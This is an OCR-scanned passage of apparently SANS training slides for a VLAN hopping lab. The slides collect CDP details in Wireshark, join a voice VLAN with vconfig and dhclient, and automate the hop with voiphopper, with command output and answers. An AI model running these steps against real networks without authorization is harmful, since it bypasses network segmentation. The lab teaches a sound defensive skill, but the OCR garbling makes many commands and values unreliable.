* (Creatc a sub-interface for the voice VLAN using the veonfig tool.

* Launch the DHCP client tool "dhclient" to obtain an IP address on the voice VLAN.

During this lab, answer the following questions:

1. What information can you gather from the CDP frames?
2. What is the addressing and domain name information for the voice VLAN?
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Exercise — VLAN Hopping (3)

e Remove the virtual interface with
vconfig

e Automate the attack using
voiphopper

Exercise - VLAN Hopping (3)
After creating the voice VLAN interface manually, delete the interface with the veonfig utility, then
use the voiphopper tool (in /usr/local/bin/voiphopper) to automate the attack.
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Exercise — VLAN Hopping (4)

e STOP - Answers for the VLAN
Hopping Attack exercise follow

e Proceed only after you have
exhausted your options for
completion on your own

Exercise - VLAN Hopping (4)
Answers to the lab exercise follow; proceed no further unless you have exhausted your options for
completing the exercise on your own.
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Exercise — VLAN Hopping (5)

File Edit View Go Capture Analyze Statistics Telephony Tools Help
BaSAN cuxe= 4 '
No.. |Time Source
LU0 Z6,032901
187 28.8%4173
108 29.08829

H e S

T LATLLR U UAYTIY (LW IRt L)

* Device ID: pwned

+ Software Yersion

b Platform: ¢isco WS-C2960-487T-L

+ Addresses

b Port ID: FastEthernetd/7

b Capabilities

* Protocel Hello: Cluster Management
» VTP Hanagement Domain: corpnet-vip
b Hative VLAN: lo@

¢ Duplex: Full ‘

b Trust Bitmap: 8x00

b Untrusted port Co5: 6x80

» Management Addresses ‘:‘]
Text item (), 7 bytes Packets: 120 Displayed: 120 Marked: 0 Dropped: 0 | Profile: Default

Exercise - VLAN Hopping (5)
This screen-shot is from Wireshark's interpretation of a CDP packet where the display filter "cdp"
can be applied to show just CDP packets. In the output from Wireshark we can observe the device

name, [0S version, hardware platform, connected port number, VTP management domain, native
VLAN and voice VLAN information.
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Exercise — VLAN Hopping (6)

# modprobe 8021g

# veonfig add ethl 200

Added VEAN with VID == 200 to IF —tethl:-

# ifconfig ethl.200

ethl . 200 Link encap:Ethernet
BROARDCAST MULTICAST
R¥ packets:l errcrs:i
TA packet
collision
BX hytes

# dhelient ethl.200

<anip>

Your IP address: 1H2.168,0.4

# cat /etc/resolv.conf

domain volce.sans.org

search volce.sans.org

nameserver 192, 168.0.1

4 weonfig rem ethl.200

Removed VLAN -tethl.200:-

Exercise - VILAN Hopping (6)
This slide demonstrates the commands uscd to create a new interface on VLAN 200. The output
from the dhclient utility has been removed for brevity.
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Exercise — VLAN Hopping (7)

e Automate the attack with voiphopper

# voiphopper -c 0 -i ethl
¥oIP Hopper 2.00 Running in CDP Sniff Mods
Capturing CDRP Backets on esthl
Capiured [EREE 2.3, €DP Packel of 366 bytes
Discovered VoIP YLAN: 200

Added VIAN 200 to Interface ethl

Current MRC:;  00:1G: 2

fi:ab
Attempting dhep reguest for new interface ethl,200
VolP Hopper dheop glient: received IP address for athl.200: 192,168.9.3
Vel Hopper 1.00 Ranning in CDP Sniff Mode
Capturing CDP Packets on ethl
Captured IEEE B0Z,3, ¢DP Packet of 366 bytes
Disoovered VoIF VLAN: 200
Added VLAN 200 to Interface ethl
Current MAC: 00:10:céigerfliab
Attempting dhcp reguest [or new interface ethl, 204
VoIPF Hopper «bop client: roeceived IP address for ethi. 20

B

S Bot i s e

=

-‘.]""u it Wnnng, and |

Exercise - VILAN Hopping (7)
This slide demonstrates the technique to automate the VLAN hopping attack using voiphopper.
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Switch Configuration

Exercise — VLAN Hopping (8)

zonflgured the game ds Eliis ohe

L

ranhiing=tres

Exercise - VLAN Hopping (8)
The configuration snippet on this slide was used to prepare a Cisco 2960 switch for usc in this lab
exercise. Other 10S-based Cisco switches may also be used with similar configuration entries.
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